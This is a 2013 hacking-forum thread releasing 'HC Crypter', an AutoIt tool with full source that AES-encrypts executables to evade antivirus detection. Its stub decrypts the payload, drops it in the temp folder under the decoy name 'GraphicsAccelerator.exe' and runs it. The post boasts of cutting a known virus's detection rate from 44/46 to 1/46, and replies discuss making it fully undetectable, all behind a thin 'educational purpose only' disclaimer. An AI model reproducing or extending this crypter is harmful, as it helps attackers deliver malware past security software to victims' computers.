[HC Official] HC Crypter v1.1 - Solixious - 03-02-2013
I guess everyone here knows what a crypter is used for. For those who are interested in knowing which encryption system is used here, it is AES-256 bit encryption.
Screen Shot :
![[Image: Screen_4.jpg]](http://s11.postimage.org/9gsanqcer/Screen_4.jpg)
Please don't mind stupid looking screenie due to rounded edges :huh:
I encrypted a very well known test virus using this and the detection ratio went down from 44/46 to 1/46 {Just giving a stat}.
Virus Scan : vscan
One of the antiviruses detect it as infected file, but I can assure you that it is clean. If you are still paranoid about that 1/14 ratio, you should not download it then.
Download Link : HC Crypter
Cheers :lub:
Disclaimer : Please use this app for educational purpose only. We do not promote anything but ethical hacking...
-------------------------------------------------------------------------------------------
Source :
Crypter.au3
Code: #include-once
#include "GUIRoundCorners.au3"
#include "WinGetClientInfo.au3"
#include<GUIConstants.au3>
#include<WindowsConstants.au3>
#include<Crypt.au3>
#include<GDIPlus.au3>
Opt("GUIOnEventMode"1)
$color1=0x090909
$color2=0xff0000
$color3=0x696969
$hWnd=GUICreate("Crypter",600,385,200,200,$WS_POPUP)
_GDIPlus_Startup()
$hImage = _GDIPlus_ImageLoadFromFile("logo.png")
$hGraphic = _GDIPlus_GraphicsCreateFromHWND($hWnd)
GUIRegisterMsg($WM_PAINT, "MY_WM_PAINT")
_GuiRoundCorners_Lite($hWnd,50)
$header=GUICtrlCreateLabel("CRYPTER",200,30,200,30)
$about=GUICtrlCreateLabel("Made By : Solixious",450,360,125,250)
$hLab1=GUICtrlCreateLabel("Input File",30,200,100,25)
$hInp1=GUICtrlCreateInput("",130,200,300,25)
$hBut1=GUICtrlCreateButton("Browse",450,200,100,25)
$hLab2=GUICtrlCreateLabel("Output File",30,240,100,25)
$hInp2=GUICtrlCreateInput("",130,240,300,25)
$hBut2=GUICtrlCreateButton("Browse",450,240,100,25)
$hBut3=GUICtrlCreateButton("Encrypt",130,290,100,25)
$hBut4=GUICtrlCreateButton("Exit",250,290,100,25)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit")
GUICtrlSetOnEvent($hBut4,"quit")
GUICtrlSetOnEvent($hBut1,"browse1")
GUICtrlSetOnEvent($hBut2,"browse2")
GUICtrlSetOnEvent($hBut3,"encryptfile")
init()
GUISetState(@SW_SHOW,$hWnd)
While 1
WEnd
Func init()
GUISetBkColor($color1,$hWnd)
GUICtrlSetColor($header,$color2)
GUICtrlSetColor($about,$color2)
GUICtrlSetColor($hLab1,$color2)
GUICtrlSetColor($hLab2,$color2)
GUICtrlSetBkColor($hInp1,$color1)
GUICtrlSetBkColor($hInp2,$color1)
GUICtrlSetColor($hInp1,$color2)
GUICtrlSetColor($hInp2,$color2)
GUICtrlSetBkColor($hBut1,$color2)
GUICtrlSetBkColor($hBut2,$color2)
GUICtrlSetBkColor($hBut3,$color2)
GUICtrlSetBkColor($hBut4,$color2)
GUICtrlSetFont($header,25,1800)
GUICtrlSetFont($hLab1,15)
GUICtrlSetFont($hLab2,15)
GUICtrlSetFont($hInp1,15)
GUICtrlSetFont($hInp2,15)
GUICtrlSetFont($hBut1,12)
GUICtrlSetFont($hBut2,12)
GUICtrlSetFont($hBut3,12)
GUICtrlSetFont($hBut4,12)
EndFunc
Func MY_WM_PAINT($hWnd, $msg, $wParam, $lParam)
#forceref $hWnd, $Msg, $wParam, $lParam
_WinAPI_RedrawWindow($hWnd, 0, 0, $RDW_UPDATENOW)
_GDIPlus_GraphicsDrawImage($hGraphic, $hImage, 0, 0)
_WinAPI_RedrawWindow($hWnd, 0, 0, $RDW_VALIDATE)
Return $GUI_RUNDEFMSG
EndFunc
Func quit()
_GDIPlus_GraphicsDispose($hGraphic)
_GDIPlus_ImageDispose($hImage)
_GDIPlus_Shutdown()
Exit
EndFunc
Func browse1()
$filepath=FileOpenDialog("Input File",@MyDocumentsDir,"All Files (*.*)",1,"",$hWnd)
If $filepath <> "" Then
GUICtrlSetData($hInp1,$filepath)
EndIf
EndFunc
Func browse2()
$filepath=FileSaveDialog("Output File",@MyDocumentsDir,"Executable Files (*.exe)",16,"",$hWnd)
If $filepath <> "" Then
GUICtrlSetData($hInp2,$filepath & ".exe")
EndIf
EndFunc
Func encryptfile()
$path1=GUICtrlRead($hInp1)
$path2=GUICtrlRead($hInp2)
If FileExists($path1) Then
$marker=StringToBinary("SOLIXIOUS")
$output=FileOpen($path2,2+8+16)
$inputx1=FileOpen($path1,0+16)
$data1=FileRead($inputx1)
$stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
$stubdata=FileRead($stub)
FileWrite($output,$stubdata)
FileWrite($output,$marker)
$data1=encrypt(BinaryToString($data1))
FileWrite($output,StringToBinary($data1))
FileClose($output)
FileClose($inputx1)
GUICtrlSetData($hInp1,"")
GUICtrlSetData($hInp2,"")
EndIf
EndFunc
Func encrypt($data)
$data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_AES_256)
Return $data
EndFunc
Stub.au3
Code: #include<Crypt.au3>
$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
MsgBox(0,"No Delimiters","No delimiters Found!")
Else
If $ardata[0]=2 Then
$ardata[2]=decrypt(BinaryToString($ardata[2]))
$file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
FileWrite($file1,$ardata[2])
FileClose($file1)
ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
EndIf
EndIf
Func decrypt($data)
$data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_AES_256)
return $data
EndFunc
Func quit()
Exit
EndFunc
GUIRoundCorners.au3
Code: #include-once
#include "WinGetClientInfo.au3"
; #FUNCTION# ============================================================================================================================================
; Name...........: _GuiRoundCorners_Lite
; Description ...: Trimmed down version of GaryFrost's _GuiRoundCorners function. Intended to be used with windows without borders like WS_POPUP.
; Syntax ........: _GuiRoundCorners_Lite($h_win [, $i_radius])
; Parameters ....: $h_win - Window handle.
; $i_radius - [Optional] Radius of the round corner. Default value is 20.
; Return values .: Success - Returns 1
; Failure - Returns -1 and sets @error:
; |1 - _WinGetClientSize_Ex failed.
; |2 - CreateRoundRectRgn through dll call failed.
; |3 - SetWindowRgn through dll call failed.
; Remarks........: This function is intended to be used in my MsgBox_Tipped UDF therefore it has limited abilities compared to GaryFrost's original function.
; Author ........: GaryFrost
; Modified.......: Tip
;========================================================================================================================================================
Func _GuiRoundCorners_Lite($h_win, $i_radius = 20)
Dim $pos, $ret, $ret2
If Not WinExists($h_win) Then Return SetError(1,0,-1)
Local $i_tip_temparray = _WinGetClientSize_Ex($h_win)
If @error Then Return SetError(1,0,-1)
$ret = DllCall("gdi32.dll", "long", "CreateRoundRectRgn", "long", 0, "long", 0, "long", $i_tip_temparray[0], "long", $i_tip_temparray[3], "long",$i_radius, "long", $i_radius)
If $ret[0] Then
$ret2 = DllCall("user32.dll", "long", "SetWindowRgn", "hwnd", $h_win, "long", $ret[0], "int", 1)
If $ret2[0] Then
Return 1
Else
Return SetError(3,0,-1)
EndIf
Else
Return SetError(2,0,-1)
EndIf
EndFunc ;==>_GuiRoundCorners_Lite
; #FUNCTION# ============================================================================================================================================
; Name...........: _GuiRoundCorners_Ex
; Description ...: Modified version of GaryFrost's _GuiRoundCorners function. Intended to be used with windows without borders like WS_POPUP.
; Syntax ........: _GuiRoundCorners_Ex($h_win [, $i_radius[, $i_tip_type = False])
; Parameters ....: $h_win - Window handle.
; $i_radius - [Optional] Radius of the round corner. Default value is 20.
; $i_tip_type - [Optional] Determines which corners will be round. These parameters are set to match the ones used in MsgBox_Tipped UDF.
; |1,"t","TOP" - Considers the window moves from/to top and rounds only bottom side corners.
; |2,"b","BOTTOM" - Considers the window moves from/to bottom and rounds only top side corners.
; |3,"l","LEFT" - Considers the window moves from/to left and rounds only right side corners.
; |4,"r","RIGHT" - Considers the window moves from/to left and rounds only right side corners.
; Return values .: Success - Returns 1
; Failure - Returns -1 and sets @error:
; |1 - _WinGetClientSize_Ex failed.
; |2 - CreateRoundRectRgn through dll call failed.
; |3 - SetWindowRgn through dll call failed.
; Remarks........: This function is intended to be used, as a replacement to GuiRoundCorners_Lite, in my MsgBox_Tipped UDF.
; Author ........: Tip
;========================================================================================================================================================
Func _GuiRoundCorners_Ex($h_win,$i_tip_radius = 20, $i_tip_type = False)
Dim $pos, $ret, $ret2
If Not WinExists($h_win) Then Return SetError(1,0,-1)
Local $i_tip_temparray = _WinGetClientSize_Ex($h_win)
If @error Then Return SetError(1,0,-1)
ReDim $i_tip_temparray[6]
;~ $i_tip_temparray[4] = "The x-coordinate of the upper-left corner of the rounded rectangle."
;~ $i_tip_temparray[5] = "The y-coordinate of the upper-left corner of the rounded rectangle."
Switch $i_tip_type
Case "TOP","t", 1 ; MsgGUI will slide from/to top-center
$i_tip_temparray[3] = $i_tip_temparray[3]
$i_tip_temparray[4] = 0
$i_tip_temparray[5] = -$i_tip_radius
Case "BOTTOM","b", 2 ; MsgGUI will slide from/to bottom-center
$i_tip_temparray[3] = $i_tip_temparray[3] + $i_tip_radius
$i_tip_temparray[4] = 0
$i_tip_temparray[5] = 0
Case "LEFT","l", 3 ; MsgGUI will slide from/to left-center
$i_tip_temparray[0] = $i_tip_temparray[0]
$i_tip_temparray[4] = -$i_tip_radius
$i_tip_temparray[5] = 0
Case "RIGHT","r", 4 ; MsgGUI will slide from/to right-center
$i_tip_temparray[0] = $i_tip_temparray[0] + $i_tip_radius
$i_tip_temparray[4] = 0
$i_tip_temparray[5] = 0
Case Else
$i_tip_temparray[4] = 0
$i_tip_temparray[5] = 0
EndSwitch
Dim $pos, $ret, $ret2
$ret = DllCall("gdi32.dll", "long", "CreateRoundRectRgn", "int", $i_tip_temparray[4], "int", $i_tip_temparray[5], "int", $i_tip_temparray[0], "int", $i_tip_temparray[3], "int",$i_tip_radius, "int", $i_tip_radius)
If $ret[0] Then
$ret2 = DllCall("user32.dll", "long", "SetWindowRgn", "hwnd", $h_win, "long", $ret[0], "int", 1)
If $ret2[0] Then
Return 1
Else
Return SetError(3,0,-1)
EndIf
Else
Return SetError(2,0,-1)
EndIf
EndFunc ;==>_GuiRoundCorners_Ex
WinGetClientInfo.au3
Code: #include-once
; #FUNCTION# ============================================================================================================================================
; Name...........: _WinGetClientSize_Ex
; Description ...: Retrives specified windows actual client size including menubar.
; Syntax ........: _WinGetClientSize_Ex($i_tip_Hwnd)
; Parameters ....: $i_tip_Hwnd - Window handle
; Return values .: Success - Returns an array.
; |array[0] = Width
; |array[1] = Height
; |array[2] = Height lost because of menu
; |array[3] = Actual client height (Height + Height lost because of menu)
; Failure - Returns -1 and sets @error:
; |1 - Specified window does not exist.
; |2 - WinGetClientSize failed.
; Author ........: Tip
;
; Remarks........: This function is intended to be used as an internal helper function in my scripts.
;========================================================================================================================================================
Func _WinGetClientSize_Ex($i_tip_Hwnd)
If Not WinExists($i_tip_Hwnd) Or Not IsHWnd($i_tip_Hwnd) Then Return SetError(1,0,-1)
Local $i_tip_MenuExists, $i_tip_MenuExists, $i_tip_aRet
$i_tip_MenuExists = DllCall("User32.dll", "handle", "GetMenu", "hwnd", $i_tip_Hwnd) ; We are checking if parent gui has a menu.
If @error Then
$i_tip_MenuExists = 0
Else
$i_tip_MenuExists = $i_tip_MenuExists[0]
If $i_tip_MenuExists > 0 Then
$i_tip_MenuExists = 20
Else
$i_tip_MenuExists = 0
EndIf
EndIf
$i_tip_aRet = WinGetClientSize($i_tip_Hwnd)
If IsArray($i_tip_aRet) = 0 Then
Return SetError(2,0,-1)
Else
ReDim $i_tip_aRet[4]
$i_tip_aRet[2] = $i_tip_MenuExists
$i_tip_aRet[3] = $i_tip_aRet[1] + $i_tip_aRet[2]
Return $i_tip_aRet
EndIf
EndFunc ;==>_WinGetClientSize_Ex
; #FUNCTION# ============================================================================================================================================
; Name...........: _WinGetClientPos_Ex
; Description ...: Retrives specified windows actual client position considering menubar.
; Syntax ........: _WinGetClientPos_Ex($i_tip_Hwnd, $i_tip_ConsiderMenu = False)
; Parameters ....: $i_tip_Hwnd - Window handle.
; $i_tip_ConsiderMenu - If true existing menu bar is considered while computing client position.
; Return values .: Success - Returns an array.
; |array[0] = Clients position to left (x).
; |array[1] = Clients position to top (y).
; |array[2] = Clients width
; |array[3] = Actual client height (Height + Height lost because of menu)
; |array[4] = X Difference between WinPos and ClientPos(BorderThickness)
; |array[5] = Y Difference between WinPos and ClientPos (TitleBar Thickness)
; Failure - Returns -1 and sets @error:
; |1 - Specified window does not exist.
; |2 - WinGetClientSize failed.
; Author ........: Tip
;
; Remarks........: This function is intended to be used as an internal helper function in my scripts.
;========================================================================================================================================================
Func _WinGetClientPos_Ex($i_tip_Hwnd, $i_tip_ConsiderMenu = False)
If Not WinExists($i_tip_Hwnd) Or Not IsHWnd($i_tip_Hwnd) Then Return SetError(1,0,-1)
Local $i_tip_WinPos, $i_tip_ClientSize, $i_tip_BorderThickness, $i_tip_aRet, $i_tip_TitleBarThickness
$i_tip_WinPos = WinGetPos($i_tip_Hwnd)
$i_tip_ClientSize = _WinGetClientSize_Ex($i_tip_Hwnd)
$i_tip_BorderThickness = ($i_tip_WinPos[2] - $i_tip_ClientSize[0])/2
$i_tip_TitleBarThickness = ($i_tip_WinPos[3] - $i_tip_ClientSize[1]) - $i_tip_BorderThickness
Dim $i_tip_aRet[6] = [$i_tip_WinPos[0] + $i_tip_BorderThickness, $i_tip_WinPos[1] + $i_tip_TitleBarThickness, $i_tip_ClientSize[0], $i_tip_ClientSize[1],$i_tip_BorderThickness,$i_tip_TitleBarThickness]
If $i_tip_ConsiderMenu = True And $i_tip_ClientSize[2] > 0 Then
$i_tip_aRet[1] -= $i_tip_ClientSize[2]
$i_tip_aRet[3] = $i_tip_ClientSize[3]
$i_tip_aRet[5] -= $i_tip_ClientSize[2]
EndIf
Return $i_tip_aRet
EndFunc ;==>_WinGetClientPos_Ex
WinSetClientSize.au3
Code: #include-once
#include<WinGetClientInfo.au3>
; #FUNCTION# ============================================================================================================================================
; Name...........: _WinSetClientSize
; Description ...: Sets specified windows actual client size.
; Syntax ........: _WinSetClientSize($i_tip_Hwnd,$i_tip_width, $i_tip_height)
; Parameters ....: $i_tip_Hwnd - Window handle.
; $i_tip_width - Desired width.
; $i_tip_height - Desired height.
; Return values .: Success - Returns 1
; Failure - Returns -1 and sets @error:
; |1 - Specified window does not exist.
; |2 - WinGetPos failed.
; |3 - WinGetClientSize_Ex failed.
; Author ........: Tip
;
;========================================================================================================================================================
Global $tip_WinClientSize_WinSize_Diff
Func _WinSetClientSize($i_tip_hwnd,$i_tip_width, $i_tip_height)
If Not WinExists($i_tip_hwnd) Then Return SetError(1,0,-1)
If BitAnd(WinGetState($i_tip_hwnd),16) Or BitAnd(WinGetState($i_tip_hwnd),2) = 0 Then Return SetError(2,0,-1)
Local $i_tip_WinPos = WinGetPos($i_tip_hwnd)
If @error Then SetError(2,0,-1)
Local $i_tip_WinClientSize = _WinGetClientSize_Ex($i_tip_hwnd)
If $i_tip_WinClientSize = -1 Then Return SetError(3,0,-1)
If $i_tip_width = -1 Or $i_tip_width = "" Or $i_tip_width = Default Then $i_tip_width = $i_tip_WinClientSize[0]
If $i_tip_height = -1 Or $i_tip_height = "" Or $i_tip_height = Default Then $i_tip_height = $i_tip_WinClientSize[3]
If $i_tip_width < 0 Then $i_tip_width = 0
If $i_tip_height < 0 Then $i_tip_height = 0
If $i_tip_WinClientSize[0] = $i_tip_width And $i_tip_WinClientSize[3] = $i_tip_height Then Return 0
Local $i_tip_WinClientSize_WinSize_Difference = _Calculate_WinClientSize_WinSize_Difference()
If IsArray($i_tip_WinClientSize_WinSize_Difference) Then
If $i_tip_width > 0 Then $i_tip_width += $i_tip_WinClientSize_WinSize_Difference[0]
If $i_tip_height > 0 Then $i_tip_height += $i_tip_WinClientSize_WinSize_Difference[1]
EndIf
WinMove($i_tip_hwnd,"",$i_tip_WinPos[0],$i_tip_WinPos[1],$i_tip_width,$i_tip_height)
Return 1
EndFunc
; #FUNCTION# ============================================================================================================================================
; Name...........: _Calculate_WinClientSize_WinSize_Difference
; Description ...: Calculates the difference between WinSize(WinMove) and WinClientSize(WinGetClientSize)
; Syntax ........: _Calculate_WinClientSize_WinSize_Difference()
; Return values .: Success - Returns an array:
; |array[0] = Width difference.
; |array[1] = Height difference.
; Failure - Returns -1 and sets @error:
; |1 - GUICreate failed.
; |2 - _WinGetClientSize_Ex failed.
; |3 - WinMove failed.
; |4 - GUIDelete failed.
; Author ........: Tip
;
;========================================================================================================================================================
Func _Calculate_WinClientSize_WinSize_Difference()
If IsArray($tip_WinClientSize_WinSize_Diff) And UBound($tip_WinClientSize_WinSize_Diff) = 2 Then Return $tip_WinClientSize_WinSize_Diff ; If this function has already been called there is no need to calculate again.
Local $i_tip_tempvar = GUICreate("Tips Control GUI",200,200,-1000,-1000)
If @error Then Return SetError(1,0,-1)
Local $i_tip_ClientSize = _WinGetClientSize_Ex($i_tip_tempvar)
If @error Then Return SetError(2,0,-1)
WinMove($i_tip_tempvar,"",-1000,-1000,200,200)
If @error Then Return SetError(3,0,-1)
Local $i_tip_ClientSize_Modified = _WinGetClientSize_Ex($i_tip_tempvar)
If @error Then Return SetError(2,0,-1)
GUIDelete($i_tip_tempvar)
If @error Then Return SetError(4,0,-1)
Local $i_tip_returnarray
Dim $i_tip_returnarray[2]
$i_tip_returnarray[0] = $i_tip_ClientSize[0] - $i_tip_ClientSize_Modified[0]
$i_tip_returnarray[1] = $i_tip_ClientSize[1] - $i_tip_ClientSize_Modified[1]
Global $tip_WinClientSize_WinSize_Diff = $i_tip_returnarray
Return $i_tip_returnarray
EndFunc
-------------------------------------------------------------------------------------------
Updated to HC Crypter v1.1
It is nothing different from the previous version. I've just changed the algorithm used and few other little things to make this a little more UD than what the first version had become eventually. But this version isn't FUD either.
Download link : HC Crypter.rar
RE: [HC Official] HC Crypter - Deque - 03-02-2013
Very nice. A HC crypter. Which language did you use? Is it a runtime or scantime crypter?
RE: [HC Official] HC Crypter - SergenteJoker98 - 03-02-2013
I say so, anyhow, that I think the only one that detected the virus also encrypted was Avira.
RE: [HC Official] HC Crypter - Deque - 03-02-2013
(03-02-2013, 09:22 PM)SergenteJoker98 Wrote: I say so, anyhow, that I think the only one that detected the virus also encrypted was Avira.
No. It's STOPZilla. Look at the virus scan.
RE: [HC Official] HC Crypter - SergenteJoker98 - 03-02-2013
I did not see link ):
RE: [HC Official] HC Crypter - Solixious - 03-02-2013
It is a scan-time crypter and I have made it in autoit3. I'm trying to figure out how to make a run-time crypter..
RE: [HC Official] HC Crypter - Coder-san - 03-03-2013
Nice. Take a look at [link=http://www.hackcommunity.com/Thread-Crypters-Everything-you-need-to-know-about]my thread[/link] in the crypter section, it may help you a bit for making it runtime.
Note: For whoever is making an official HC app, please write a disclaimer that it's used only for educational purposes. Since, HC is branded as an ethical hacking forum, even though we provide, we do not promote the "usage" for said means but for educational purposes.
RE: [HC Official] HC Crypter - belushka - 03-07-2013
does scantime FUD means antivirus can't detect it when it's installed on the drive and runtime FUD means that the antivirus can't block it when it's about to be installed? right?
RE: [HC Official] HC Crypter - Deque - 03-07-2013
(03-07-2013, 07:34 AM)belushka Wrote: does scantime FUD means antivirus can't detect it when it's installed on the drive and runtime FUD means that the antivirus can't block it when it's about to be installed? right?
Read Coder-san's thread: http://www.hackcommunity.com/Thread-Crypters-Everything-you-need-to-know-about
RE: [HC Official] HC Crypter - Solixious - 03-11-2013
(03-10-2013, 05:24 PM)Nevalyashka Wrote: How to decrypt file?
It will decrypt itself when it has to execute
|